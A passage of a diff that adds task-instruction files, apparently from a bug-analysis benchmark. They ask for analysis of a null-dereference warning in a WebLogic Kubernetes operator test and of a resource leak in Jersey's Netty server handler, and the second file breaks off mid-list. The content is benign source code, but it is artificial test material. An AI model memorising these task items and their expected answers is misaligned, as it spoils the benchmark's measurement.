+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5011/instruction.md b/inferredbugs-5011/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1eb8c1277674c5792b4f1e82c37f2053db98423d
--- /dev/null
+++ b/inferredbugs-5011/instruction.md
@@ -0,0 +1,735 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** weblogic-kubernetes-operator
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+// Copyright 2018, Oracle Corporation and/or its affiliates.  All rights reserved.
+// Licensed under the Universal Permissive License v 1.0 as shown at
+// http://oss.oracle.com/licenses/upl.
+
+package oracle.kubernetes.operator.steps;
+
+import static oracle.kubernetes.LogMatcher.containsFine;
+import static oracle.kubernetes.operator.WebLogicConstants.ADMIN_STATE;
+import static oracle.kubernetes.operator.steps.ManagedServersUpStep.SERVERS_UP_MSG;
+import static oracle.kubernetes.operator.steps.ManagedServersUpStepTest.TestStepFactory.getServerStartupInfo;
+import static oracle.kubernetes.operator.steps.ManagedServersUpStepTest.TestStepFactory.getServers;
+import static org.hamcrest.Matchers.contains;
+import static org.hamcrest.Matchers.containsInAnyOrder;
+import static org.hamcrest.Matchers.empty;
+import static org.hamcrest.Matchers.equalTo;
+import static org.hamcrest.Matchers.hasItem;
+import static org.hamcrest.Matchers.instanceOf;
+import static org.hamcrest.Matchers.notNullValue;
+import static org.hamcrest.Matchers.nullValue;
+import static org.hamcrest.Matchers.sameInstance;
+import static org.hamcrest.junit.MatcherAssert.assertThat;
+
+import com.meterware.simplestub.Memento;
+import com.meterware.simplestub.StaticStubSupport;
+import io.kubernetes.client.models.V1EnvVar;
+import io.kubernetes.client.models.V1ObjectMeta;
+import io.kubernetes.client.models.V1Pod;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.logging.Level;
+import java.util.logging.LogRecord;
+import oracle.kubernetes.TestUtils;
+import oracle.kubernetes.operator.StartupControlConstants;
+import oracle.kubernetes.operator.helpers.DomainPresenceInfo;
+import oracle.kubernetes.operator.helpers.DomainPresenceInfo.ServerStartupInfo;
+import oracle.kubernetes.operator.helpers.ServerKubernetesObjects;
+import oracle.kubernetes.operator.helpers.ServerKubernetesObjectsManager;
+import oracle.kubernetes.operator.wlsconfig.WlsClusterConfig;
+import oracle.kubernetes.operator.wlsconfig.WlsDomainConfig;
+import oracle.kubernetes.operator.wlsconfig.WlsDynamicServersConfig;
+import oracle.kubernetes.operator.wlsconfig.WlsMachineConfig;
+import oracle.kubernetes.operator.wlsconfig.WlsServerConfig;
+import oracle.kubernetes.operator.work.FiberTestSupport;
+import oracle.kubernetes.operator.work.Step;
+import oracle.kubernetes.operator.work.TerminalStep;
+import oracle.kubernetes.weblogic.domain.v1.ClusterStartup;
+import oracle.kubernetes.weblogic.domain.v1.Domain;
+import oracle.kubernetes.weblogic.domain.v1.DomainSpec;
+import oracle.kubernetes.weblogic.domain.v1.ServerStartup;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Tests the code to bring up managed servers. "Wls Servers" and "WLS Clusters" are those defined in
+ * the admin server for the domain. There is also a kubernetes "Domain Spec," which specifies which
+ * servers should be running.
+ */
+@SuppressWarnings({"ConstantConditions", "SameParameterValue"})
+public class ManagedServersUpStepTest {
+
+  private static final String DOMAIN = "domain";
+  private static final String NS = "namespace";
+  private static final String UID = "uid1";
+  private final Domain domain = createDomain();
+
+  private Map<String, WlsClusterConfig> wlsClusters = new HashMap<>();
+  private Map<String, WlsServerConfig> wlsServers = new HashMap<>();
+  private Map<String, WlsServerConfig> templates = new HashMap<>();
+  private Map<String, WlsMachineConfig> machineConfigs = new HashMap<>();
+
+  private Step nextStep = new TerminalStep();
+  private FiberTestSupport testSupport = new FiberTestSupport();
+  private List<Memento> mementos = new ArrayList<>();
+  private DomainPresenceInfo domainPresenceInfo = createDomainPresenceInfo();
+  private ManagedServersUpStep step = new ManagedServersUpStep(nextStep);
+  private TestUtils.ConsoleHandlerMemento consoleHandlerMemento;
+
+  private DomainPresenceInfo createDomainPresenceInfo() {
+    return new DomainPresenceInfo(domain);
+  }
+
+  private Domain createDomain() {
+    return new Domain().withMetadata(createMetaData()).withSpec(createDomainSpec());
+  }
+
+  private V1ObjectMeta createMetaData() {
+    return new V1ObjectMeta().namespace(NS);
+  }
+
+  private DomainSpec createDomainSpec() {
+    return new DomainSpec().withDomainUID(UID).withReplicas(1);
+  }
+
+  @Before
+  public void setUp() throws NoSuchFieldException {
+    mementos.add(consoleHandlerMemento = TestUtils.silenceOperatorLogger());
+    mementos.add(TestStepFactory.install());
+    testSupport.addDomainPresenceInfo(domainPresenceInfo);
+  }
+
+  @After
+  public void tearDown() throws Exception {
+    for (Memento memento : mementos) memento.revert();
+
+    testSupport.throwOnCompletionFailure();
+  }
+
+  @Test
+  public void whenEnabled_logCurrentServers() {
+    List<LogRecord> messages = new ArrayList<>();
+    consoleHandlerMemento.withLogLevel(Level.FINE).collectLogMessages(messages, SERVERS_UP_MSG);
+    addRunningServer("admin");
+    addRunningServer("ms1");
+    addRunningServer("ms2");
+
+    invokeStep();
+
+    assertThat(messages, containsFine(SERVERS_UP_MSG));
+  }
+
+  private void addRunningServer(String serverName) {
+    ServerKubernetesObjects sko =
+        ServerKubernetesObjectsManager.getOrCreate(domainPresenceInfo, "", serverName);
+    sko.getPod().set(new V1Pod());
+  }
+
+  @Test
+  public void addExplicitlyStartedClusterMembersToExplicitlyRestartedServers() {
+    addWlsCluster("cluster1", "ms1", "ms2");
+    addWlsCluster("cluster2", "ms3", "ms4");
+    addWlsCluster("cluster3", "ms5", "ms6");
+    domainPresenceInfo.getExplicitRestartClusters().addAll(Arrays.asList("cluster1", "cluster3"));
+
+    invokeStep();
+
+    assertThat(domainPresenceInfo.getExplicitRestartClusters(), empty());
+    assertThat(
+        domainPresenceInfo.getExplicitRestartServers(),
+        containsInAnyOrder("ms1", "ms2", "ms5", "ms6"));
+  }
+
+  @Test
+  public void whenStartupControlUndefined_startManagedServers() {
+    invokeStep();
+
+    assertManagedServersToBeStarted();
+  }
+
+  @Test
+  public void whenStartupControlAuto_startManagedServers() {
+    setStartupControl(StartupControlConstants.AUTO_STARTUPCONTROL);
+
+    invokeStep();
+
+    assertManagedServersToBeStarted();
+  }
+
+  @Test
+  public void whenStartupControlAll_startManagedServers() {
+    setStartupControl(StartupControlConstants.ALL_STARTUPCONTROL);
+
+    invokeStep();
+
+    assertManagedServersToBeStarted();
+  }
+
+  @Test
+  public void whenStartupControlSpecified_startManagedServers() {
+    setStartupControl(StartupControlConstants.SPECIFIED_STARTUPCONTROL);
+
+    invokeStep();
+
+    assertManagedServersToBeStarted();
+  }
+
+  @Test
+  public void whenStartupControlLowerCase_recognizeIt() {
+    setStartupControl(StartupControlConstants.SPECIFIED_STARTUPCONTROL.toLowerCase());
+
+    invokeStep();
+
+    assertManagedServersToBeStarted();
+  }
+
+  private void assertManagedServersToBeStarted() {
+    assertThat(TestStepFactory.next, instanceOf(ManagedServerUpIteratorStep.class));
+  }
+
+  @Test
+  public void whenStartupControlAdmin_dontStartManagedServers() {
+    setStartupControl(StartupControlConstants.ADMIN_STARTUPCONTROL);
+
+    invokeStep();
+
+    assertManagedServersWillNotBeStarted();
+  }
+
+  @Test
+  public void whenStartupControlNone_dontStartManagedServers() {
+    setStartupControl(StartupControlConstants.NONE_STARTUPCONTROL);
+
+    invokeStep();
+
+    assertManagedServersWillNotBeStarted();
+  }
+
+  @Test
+  public void whenStartupControlNotRecognized_dontStartManagedServers() {
+    setStartupControl("xyzzy");
+
+    invokeStep();
+
+    assertManagedServersWillNotBeStarted();
+  }
+
+  @Test
+  public void whenWlsServerInDomainSpec_addToServerList() {
+    configureServer("ms1");
+    addWlsServer("ms1");
+
+    invokeStep();
+
+    assertThat(getServers(), contains("ms1"));
+  }
+
+  @Test
+  public void whenWlsServerNotInDomainSpec_dontAddToServerList() {
+    addWlsServer("ms1");
+
+    invokeStep();
+
+    assertThat(getServers(), empty());
+  }
+
+  @Test
+  public void whenServerInDomainSpecButNotDefinedInWls_dontAddToServerList() {
+    configureServer("ms1");
+
+    invokeStep();
+
+    assertThat(getServers(), empty());
+  }
+
+  @Test
+  public void whenMultipleWlsServersInDomainSpec_addToServerList() {
+    configureServers("ms1", "ms2", "ms3");
+    addWlsServers("ms1", "ms2", "ms3");
+
+    invokeStep();
+
+    assertThat(getServers(), containsInAnyOrder("ms1", "ms2", "ms3"));
+  }
+
+  @Test
+  public void whenMultipleWlsServersInDomainSpec_skipAdminServer() {
+    defineAdminServer("ms2");
+    configureServers("ms1", "ms2", "ms3");
+    addWlsServers("ms1", "ms2", "ms3");
+
+    invokeStep();
+
+    assertThat(getServers(), containsInAnyOrder("ms1", "ms3"));
+  }
+
+  @Test
+  public void whenWlsServersDuplicatedInDomainSpec_skipDuplicates() {
+    defineAdminServer("admin");
+    configureServers("ms1", "ms1", "ms2");
+    addWlsServers("ms1", "ms2", "ms3");
+
+    invokeStep();
+
+    assertThat(getServers(), containsInAnyOrder("ms1", "ms2"));
+  }
+
+  @Test
+  public void whenWlsServersInDomainSpec_addStartupInfo() {
+    configureServer("ms1");
+    configureServer("ms2");
+    addWlsServers("ms1", "ms2");
+
+    invokeStep();
+
+    assertThat(getServerStartupInfo("ms1"), notNullValue());
+    assertThat(getServerStartupInfo("ms2"), notNullValue());
+  }
+
+  @Test
+  public void serverStartupInfo_containsWlsServerStartupAndConfig() {
+    configureServer("ms1").withNodePort(17);
+    addWlsServer("ms1");
+
+    invokeStep();
+
+    assertThat(getServerStartupInfo("ms1").serverConfig, sameInstance(getWlsServer("ms1")));
+    assertThat(getServerStartupInfo("ms1").getNodePort(), equalTo(17));
+  }
+
+  @Test
+  public void serverStartupInfo_containsEnvironmentVariable() {
+    configureServer("ms1")
+        .withEnvironmentVariable("item1", "value1")
+        .withEnvironmentVariable("item2", "value2");
+    addWlsServer("ms1");
+
+    invokeStep();
+
+    assertThat(
+        getServerStartupInfo("ms1").getEnvironment(),
+        containsInAnyOrder(envVar("item1", "value1"), envVar("item2", "value2")));
+  }
+
+  @Test
+  public void whenDesiredStateIsAdmin_serverStartupCreatesJavaOptionsEnvironment() {
+    configureServer("ms1").withDesiredState(ADMIN_STATE);
+    addWlsServer("ms1");
+
+    invokeStep();
+
+    assertThat(
+        getServerStartupInfo("ms1").getEnvironment(),
+        hasItem(envVar("JAVA_OPTIONS", "-Dweblogic.management.startupMode=ADMIN")));
+  }
+
+  @Test
+  public void whenDesiredStateIsAdmin_serverStartupAddsToJavaOptionsEnvironment() {
+    configureServer("ms1")
+        .withDesiredState(ADMIN_STATE)
+        .withEnvironmentVariable("JAVA_OPTIONS", "value1");
+    addWlsServer("ms1");
+
+    invokeStep();
+
+    assertThat(
+        getServerStartupInfo("ms1").getEnvironment(),
+        hasItem(envVar("JAVA_OPTIONS", "-Dweblogic.management.startupMode=ADMIN value1")));
+  }
+
+  @Test
+  public void whenWlsServerNotInCluster_serverStartupInfoHasNoClusterConfig() {
+    configureServer("ms1");
+    addWlsServer("ms1");
+
+    invokeStep();
+
+    assertThat(getServerStartupInfo("ms1").getClusterName(), nullValue());
+  }
+
+  @Test
+  public void whenWlsServerInCluster_serverStartupInfoHasMatchingClusterConfig() {
+    configureServer("ms1");
+
+    addWlsServer("ms1");
+    addWlsCluster("cluster1", "ms1");
+    addWlsCluster("cluster2");
+
+    invokeStep();
+
+    assertThat(getServerStartupInfo("ms1").getClusterName(), equalTo("cluster1"));
+  }
+
+  @Test
+  public void whenClusterStartupDefinedForServerNotRunning_addToServers() {
+    configureServer("ms1");
+    configureCluster("cluster1");
+    addWlsCluster("cluster1", "ms1");
+
+    invokeStep();
+
+    assertThat(getServers(), hasItem("ms1"));
+  }
+
+  @Test
+  public void whenClusterStartupDefinedForServerNotRunning_addServerStartup() {
+    configureServer("ms1").withNodePort(23);
+    configureCluster("cluster1");
+    addWlsCluster("cluster1", "ms1");
+
+    invokeStep();
+
+    assertThat(
+        getServerStartupInfo("ms1").serverConfig,
+        sameInstance(getServerForWlsCluster("cluster1", "ms1")));
+    assertThat(getServerStartupInfo("ms1").getClusterName(), equalTo("cluster1"));
+    assertThat(getServerStartupInfo("ms1").getNodePort(), equalTo(23));
+  }
+
+  @Test
+  public void whenServerStartupNotDefined_useEnvForCluster() {
+    configureCluster("cluster1").withEnvironmentVariable("item1", "value1");
+    addWlsCluster("cluster1", "ms1");
+
+    invokeStep();
+
+    assertThat(getServerStartupInfo("ms1").getEnvironment(), contains(envVar("item1", "value1")));
+  }
+
+  @Test
+  public void whenServerStartupDefined_overrideEnvFromCluster() {
+    configureCluster("cluster1").withEnvironmentVariable("item1", "value1");
+    configureServer("ms1").withEnvironmentVariable("item2", "value2");
+    addWlsCluster("cluster1", "ms1");
+
+    invokeStep();
+
+    assertThat(getServerStartupInfo("ms1").getEnvironment(), contains(envVar("item2", "value2")));
+  }
+
+  @Test
+  public void whenClusterStartupDefinedWithAdminState_addAdminEnv() {
+    configureCluster("cluster1")
+        .withDesiredState(ADMIN_STATE)
+        .withEnvironmentVariable("item1", "value1");
+    addWlsCluster("cluster1", "ms1");
+
+    invokeStep();
+
+    assertThat(
+        getServerStartupInfo("ms1").getEnvironment(),
+        hasItem(envVar("JAVA_OPTIONS", "-Dweblogic.management.startupMode=ADMIN")));
+  }
+
+  @Test
+  public void withStartSpecifiedWhenWlsClusterNotInDomainSpec_dontAddServersToList() {
+    setStartupControl(StartupControlConstants.SPECIFIED_STARTUPCONTROL);
+    setDefaultReplicas(3);
+    addWlsCluster("cluster1", "ms1", "ms2", "ms3", "ms4", "ms5");
+
+    invokeStep();
+
+    assertThat(getServers(), empty());
+  }
+
+  @Test
+  public void withStartNoneWhenWlsClusterNotInDomainSpec_dontAddServersToList() {
+    setStartupControl(StartupControlConstants.NONE_STARTUPCONTROL);
+    setDefaultReplicas(3);
+    addWlsCluster("cluster1", "ms1", "ms2", "ms3", "ms4", "ms5");
+
+    invokeStep();
+
+    assertThat(getServers(), empty());
+  }
+
+  @Test
+  public void withStartAdminWhenWlsClusterNotInDomainSpec_dontAddServersToList() {
+    setStartupControl(StartupControlConstants.ADMIN_STARTUPCONTROL);
+    setDefaultReplicas(3);
+    addWlsCluster("cluster1", "ms1", "ms2", "ms3", "ms4", "ms5");
+
+    invokeStep();
+
+    assertThat(getServers(), empty());
+  }
+
+  @Test
+  public void withStartAutoWhenWlsClusterNotInDomainSpec_addServersToListUpToReplicaLimit() {
+    setStartupControl(StartupControlConstants.AUTO_STARTUPCONTROL);
+    setDefaultReplicas(3);
+    addWlsCluster("cluster1", "ms1", "ms2", "ms3", "ms4", "ms5");
+
+    invokeStep();
+
+    assertThat(getServers(), containsInAnyOrder("ms1", "ms2", "ms3"));
+  }
+
+  @Test
+  public void withStartAllWhenWlsClusterNotInDomainSpec_addClusteredServersToListUpWithoutLimit() {
+    setStartupControl(StartupControlConstants.ALL_STARTUPCONTROL);
+    setDefaultReplicas(3);
+    addWlsCluster("cluster1", "ms1", "ms2", "ms3", "ms4", "ms5");
+
+    invokeStep();
+
+    assertThat(getServers(), containsInAnyOrder("ms1", "ms2", "ms3", "ms4", "ms5"));
+    assertThat(getServerStartupInfo("ms4").getClusterName(), equalTo("cluster1"));
+    assertThat(getServerStartupInfo("ms4").serverConfig, equalTo(getWlsServer("ms4")));
+  }
+
+  @Test
+  public void whenWlsClusterNotInDomainSpec_recordServerAndClusterConfigs() {
+    setDefaultReplicas(3);
+    addWlsServers("ms1", "ms2", "ms3", "ms4", "ms5");
+    addWlsCluster("cluster1", "ms1", "ms2", "ms3", "ms4", "ms5");
+
+    invokeStep();
+
+    assertThat(getServerStartupInfo("ms1").serverConfig, sameInstance(getWlsServer("ms1")));
+    assertThat(getServerStartupInfo("ms1").getClusterName(), equalTo("cluster1"));
+    assertThat(getServerStartupInfo("ms1").getEnvironment(), empty());
+    assertThat(getServerStartupInfo("ms1").getNodePort(), nullValue());
+  }
+
+  @Test
+  public void withStartupControlAll_addNonManagedServers() {
+    setStartupControl(StartupControlConstants.ALL_STARTUPCONTROL);
+    addWlsServer("ms1");
+
+    invokeStep();
+
+    assertThat(getServers(), hasItem("ms1"));
+    assertThat(getServerStartupInfo("ms1").serverConfig, equalTo(getWlsServer("ms1")));
+  }
+
+  private WlsServerConfig addWlsServer(String serverName) {
+    WlsServerConfig serverConfig = createServerConfig(serverName);
+    wlsServers.put(serverName, serverConfig);
+    return serverConfig;
+  }
+
+  private WlsServerConfig createServerConfig(String serverName) {
+    return new ServerConfigBuilder(serverName).build();
+  }
+
+  private void setDefaultReplicas(int replicas) {
+    domain.getSpec().setReplicas(replicas);
+  }
+
+  private void configureServers(String... serverNames) {
+    for (String serverName : serverNames) {
+      configureServer(serverName);
+    }
+  }
+
+  private void addWlsServers(String... serverNames) {
+    for (String serverName : serverNames) {
+      addWlsServer(serverName);
+    }
+  }
+
+  private void defineAdminServer(String adminServerName) {
+    domain.getSpec().setAsName(adminServerName);
+  }
+
+  private WlsServerConfig getWlsServer(String serverName) {
+    return wlsServers.get(serverName);
+  }
+
+  private ServerStartup configureServer(String serverName) {
+    ServerStartup serverStartup = new ServerStartup().withServerName(serverName);
+    domain.getSpec().addServerStartupItem(serverStartup);
+    return serverStartup;
+  }
+
+  private V1EnvVar envVar(String name, String value) {
+    return new V1EnvVar().name(name).value(value);
+  }
+
+  private void addWlsCluster(String clusterName, String... serverNames) {
+    ClusterConfigBuilder builder = new ClusterConfigBuilder(clusterName);
+    for (String serverName : serverNames) {
+      builder.addServer(serverName);
+    }
+    wlsClusters.put(clusterName, builder.build());
+  }
+
+  private WlsClusterConfig getWlsCluster(String clusterName) {
+    return wlsClusters.get(clusterName);
+  }
+
+  private ClusterStartup configureCluster(String clusterName) {
+    ClusterStartup startup = new ClusterStartup().withClusterName(clusterName).withReplicas(1);
+    domain.getSpec().addClusterStartupItem(startup);
+    return startup;
+  }
+
+  private WlsServerConfig getServerForWlsCluster(String clusterName, String serverName) {
+    for (WlsServerConfig config : getWlsCluster(clusterName).getServerConfigs()) {
+      if (config.getName().equals(serverName)) return config;
+    }
+    return null;
+  }
+
+  private void assertManagedServersWillNotBeStarted() {
+    assertThat(TestStepFactory.next, sameInstance(nextStep));
+  }
+
+  private void setStartupControl(String startupcontrol) {
+    domain.getSpec().setStartupControl(startupcontrol);
+  }
+
+  private void invokeStep() {
+    domainPresenceInfo.setScan(createDomainConfig());
+    testSupport.runSteps(step);
+  }
+
+  private WlsDomainConfig createDomainConfig() {
+    return new WlsDomainConfig(DOMAIN, wlsClusters, wlsServers, templates, machineConfigs);
+  }
+
+  static class TestStepFactory implements ManagedServersUpStep.NextStepFactory {
+    private static DomainPresenceInfo info;
+    private static Collection<String> servers;
+    private static Step next;
+    private static TestStepFactory factory = new TestStepFactory();
+
+    private static Memento install() throws NoSuchFieldException {
+      factory = new TestStepFactory();
+      return StaticStubSupport.install(ManagedServersUpStep.class, "NEXT_STEP_FACTORY", factory);
+    }
+
+    static Collection<String> getServers() {
+      return servers;
+    }
+
+    static ServerStartupInfo getServerStartupInfo(String serverName) {
+      for (ServerStartupInfo startupInfo : info.getServerStartupInfo()) {
+        if (startupInfo.serverConfig.getName().equals(serverName)) return startupInfo;
+      }
+
+      return null;
+    }
+
+    @Override
+    public Step createServerStep(DomainPresenceInfo info, Collection<String> servers, Step next) {
+      TestStepFactory.info = info;
+      TestStepFactory.servers = servers;
+      TestStepFactory.next = next;
+      return new TerminalStep();
+    }
+  }
+
+  static class ServerConfigBuilder {
+    private String name;
+
+    ServerConfigBuilder(String name) {
+      this.name = name;
+    }
+
+    WlsServerConfig build() {
+      return new WlsServerConfig(name, null, null, null, false, null, null);
+    }
+  }
+
+  class ClusterConfigBuilder {
+    private String name;
+    List<WlsServerConfig> serverConfigs = new ArrayList<>();
+
+    ClusterConfigBuilder(String name) {
+      this.name = name;
+    }
+
+    void addServer(String serverName) {
+      WlsServerConfig serverConfig = wlsServers.get(serverName);
+      serverConfigs.add(serverConfig != null ? serverConfig : addWlsServer(serverName));
+    }
+
+    WlsClusterConfig build() {
+      return new WlsClusterConfig(name, getServers());
+    }
+
+    WlsDynamicServersConfig getServers() {
+      return new WlsDynamicServersConfig(0, 0, "", false, "", null, serverConfigs);
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getServerStartupInfo("ms1")` could be null and is dereferenced at line 314.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ManagedServersUpStepTest.serverStartupInfo_containsEnvironmentVariable()
+
+### Procedure Id:
+oracle.kubernetes.operator.steps.ManagedServersUpStepTest.serverStartupInfo_containsEnvironmentVaria.d0e8f9ea0bc33b405fc74fa9674edeee
+
+### File:
+operator/src/test/java/oracle/kubernetes/operator/steps/ManagedServersUpStepTest.java
+
+### Key:
+ManagedServersUpStepTest.java|serverStartupInfo_containsEnvironmentVariable|NULL_DEREFERENCE
+
+### Node Key:
+c58cafd227048c844596bed077180490
+
+### Hash:
+6705680cbcca6c464258e62252d07079
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5016/instruction.md b/inferredbugs-5016/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f72a8c6cd84f81e70379d4a0f0d2546d03460b6c
--- /dev/null
+++ b/inferredbugs-5016/instruction.md
@@ -0,0 +1,267 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jersey
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2016, 2019 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.netty.httpserver;
+
+import java.net.URI;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.concurrent.LinkedBlockingDeque;
+
+import javax.ws.rs.core.Response.Status;
+import javax.ws.rs.core.MediaType;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInboundHandlerAdapter;
+import io.netty.handler.codec.http.DefaultFullHttpResponse;
+import io.netty.handler.codec.http.HttpContent;
+import io.netty.handler.codec.http.HttpHeaderNames;
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpUtil;
+import io.netty.handler.codec.http.HttpVersion;
+import io.netty.handler.codec.http.LastHttpContent;
+import org.glassfish.jersey.internal.PropertiesDelegate;
+import org.glassfish.jersey.netty.connector.internal.NettyInputStream;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.internal.ContainerUtils;
+
+/**
+ * {@link io.netty.channel.ChannelInboundHandler} which servers as a bridge
+ * between Netty and Jersey. Handles additional validation on the payload size
+ * that is controlled by a JVM property {@code max.http.request.entitySizeMb}.
+ *
+ * @author Pavel Bucek (pavel.bucek at oracle.com)
+ */
+class JerseyServerHandler extends ChannelInboundHandlerAdapter {
+
+    private final URI baseUri;
+    private final LinkedBlockingDeque<ByteBuf> isList = new LinkedBlockingDeque<>();
+    private final NettyHttpContainer container;
+    private final ResourceConfig resourceConfig;
+
+    private static final long MAX_REQUEST_ENTITY_BYTES = Long.getLong("jersey.max.http.request.entitySizeMb", new Long(50000))
+            .longValue() * 1024 * 1024; //50 MB default limit
+
+    /**
+     * Constructor.
+     *
+     * @param baseUri   base {@link URI} of the container (includes context path, if any).
+     * @param container Netty container implementation.
+     */
+    public JerseyServerHandler(URI baseUri, NettyHttpContainer container, ResourceConfig resourceConfig) {
+        this.baseUri = baseUri;
+        this.container = container;
+        this.resourceConfig = resourceConfig;
+    }
+
+    @Override
+    public void channelRead(final ChannelHandlerContext ctx, Object msg) {
+
+        if (msg instanceof HttpRequest) {
+            final HttpRequest req = (HttpRequest) msg;
+
+            if (HttpUtil.is100ContinueExpected(req)) {
+                ctx.write(new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.CONTINUE));
+            }
+
+            isList.clear(); // clearing the content - possible leftover from previous request processing.
+            final ContainerRequest requestContext = createContainerRequest(ctx, req);
+
+            requestContext.setWriter(new NettyResponseWriter(ctx, req, container));
+
+            long contentLength = req.headers().contains(HttpHeaderNames.CONTENT_LENGTH) ? HttpUtil.getContentLength(req)
+                    : -1L;
+            if (contentLength >= MAX_REQUEST_ENTITY_BYTES) {
+                requestContext.abortWith(javax.ws.rs.core.Response.status(Status.REQUEST_ENTITY_TOO_LARGE).build());
+            } else {
+                /**
+                 * Jackson JSON decoder tries to read a minimum of 2 bytes (4
+                 * for BOM). So, during an empty or 1-byte input, we'd want to
+                 * avoid reading the entity to safely handle this edge case by
+                 * eventually throwing a malformed JSON exception.
+                 */
+                String contentType = req.headers().get(HttpHeaderNames.CONTENT_TYPE);
+                boolean isJson = contentType != null ? contentType.toLowerCase().contains(MediaType.APPLICATION_JSON)
+                        : false;
+                //process entity streams only if there is an entity issued in the request (i.e., content-length >=0).
+                //Otherwise, it's safe to discard during next processing
+                if ((!isJson && contentLength != -1) || HttpUtil.isTransferEncodingChunked(req)
+                        || (isJson && contentLength >= 2)) {
+                    requestContext.setEntityStream(new NettyInputStream(isList));
+                }
+            }
+
+            // copying headers from netty request to jersey container request context.
+            for (String name : req.headers().names()) {
+                requestContext.headers(name, req.headers().getAll(name));
+            }
+
+            // must be like this, since there is a blocking read from Jersey
+            container.getExecutorService().execute(new Runnable() {
+                @Override
+                public void run() {
+                    container.getApplicationHandler().handle(requestContext);
+                }
+            });
+        }
+
+        if (msg instanceof HttpContent) {
+          HttpContent httpContent = (HttpContent) msg;
+
+          ByteBuf content = httpContent.content();
+          if (content.isReadable()) {
+              isList.add(content);
+          }
+
+          if (msg instanceof LastHttpContent) {
+              isList.add(Unpooled.EMPTY_BUFFER);
+          }
+      }
+    }
+
+    /**
+     * Create Jersey {@link ContainerRequest} based on Netty {@link HttpRequest}.
+     *
+     * @param ctx Netty channel context.
+     * @param req Netty Http request.
+     * @return created Jersey Container Request.
+     */
+    private ContainerRequest createContainerRequest(ChannelHandlerContext ctx, HttpRequest req) {
+
+        String s = req.uri().startsWith("/") ? req.uri().substring(1) : req.uri();
+        URI requestUri = URI.create(baseUri + ContainerUtils.encodeUnsafeCharacters(s));
+
+        ContainerRequest requestContext = new ContainerRequest(
+                baseUri, requestUri, req.method().name(), getSecurityContext(ctx),
+                new PropertiesDelegate() {
+
+                    private final Map<String, Object> properties = new HashMap<>();
+
+                    @Override
+                    public Object getProperty(String name) {
+                        return properties.get(name);
+                    }
+
+                    @Override
+                    public Collection<String> getPropertyNames() {
+                        return properties.keySet();
+                    }
+
+                    @Override
+                    public void setProperty(String name, Object object) {
+                        properties.put(name, object);
+                    }
+
+                    @Override
+                    public void removeProperty(String name) {
+                        properties.remove(name);
+                    }
+                }, resourceConfig);
+
+        return requestContext;
+    }
+
+
+    private NettySecurityContext getSecurityContext(ChannelHandlerContext ctx) {
+        return new NettySecurityContext(ctx);
+    }
+
+    @Override
+    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
+        ctx.close();
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.glassfish.jersey.netty.connector.internal.NettyInputStream` acquired by call to `new()` at line 108 is not released after line 108.
+**Note**: potential exception at line 108
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void JerseyServerHandler.channelRead(ChannelHandlerContext,Object)
+
+### Procedure Id:
+org.glassfish.jersey.netty.httpserver.JerseyServerHandler.channelRead(io.netty.channel.ChannelHandle.60c9c642bfea9e9781fccebd312c8b67
+
+### File:
+containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java
+
+### Key:
+JerseyServerHandler.java|channelRead|RESOURCE_LEAK
+
+### Node Key:
+729b19e05503d6470a9fb971e9a5d7c8
+
+### Hash:
+a7bf0d15bddbb34b47ba10a193a4cfe3
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
